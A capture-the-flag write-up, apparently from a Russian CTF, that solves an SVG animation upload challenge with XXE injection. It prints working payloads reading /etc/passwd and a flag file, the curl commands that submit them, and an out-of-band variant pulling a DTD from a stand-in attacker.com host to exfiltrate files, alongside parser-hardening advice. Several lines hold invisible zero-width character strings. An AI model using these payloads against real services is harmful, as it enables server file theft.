← Back to Writeups
CUSTOMEasyWeb

Студия анимаций (SVG Animation Studio)

XESXOR9/10/20262 min read
#web#custom#easy#local_file_read#svg_xxe#xxe_injection#linux

Студия анимаций (SVG Animation Studio)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: local_file_read, svg_xxe, xxe_injection

Summary

Task: SVG animation web app with file upload. Solution: XXE injection in SVG parser to read /app/flag.txt via SYSTEM entity.

Студия анимаций (SVG Animation Studio) — duckerz

Description

"Как тебе мой сайт для анимации свг'шек?" (How do you like my SVG animation site?)

URL: http://tasks.duckerz.ru:30016

A web application that allows uploading SVG files and applying various animations to them.

Analysis

Reconnaissance

  1. Technologies: Flask/Werkzeug Python web application
  2. Functionality: Upload SVG files and apply animations
  3. Endpoint: POST /animate - processes uploaded SVG files

Vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XXE (XML External Entity) Injection in the SVG parser.

SVG files are XML documents. The server parses them without disabling external entities, which allows reading arbitrary files on the server.

Why this works:

  • SVG = XML format
  • Parser doesn't disable SYSTEM entities
  • File contents are substituted into SVG and returned to the client

Solution

Step 1: Testing XXE via /etc/passwd

Create an SVG with XXE payload:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Send it:

bash
curl -X POST http://tasks.duckerz.ru:30016/animate \
  -F "file=@xxe_test.svg" \
  -F "animation=pulse" \
  -F "bg_color=#121212"

The server returns SVG with /etc/passwd contents in the <text> element - XXE works!

Step 2: Reading the flag

Typical flag paths in CTF: /flag, /flag.txt, /app/flag.txt

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST http://tasks.duckerz.ru:30016/animate \
  -F "file=@xxe_flag.svg" \
  -F "animation=pulse" \
  -F "bg_color=#121212"

The server returned SVG with the flag inside the <text> element.

Defense

To protect against XXE, disable external entities:

Python (lxml):

python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

Python (defusedxml):

python
import defusedxml.ElementTree as ET
tree = ET.parse(file)  # Safe by default

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additional XXE Techniques

Out-of-Band (OOB) XXE

If data is not displayed directly:

xml
<!DOCTYPE svg [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

PHP Wrapper (for PHP backends)

xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

References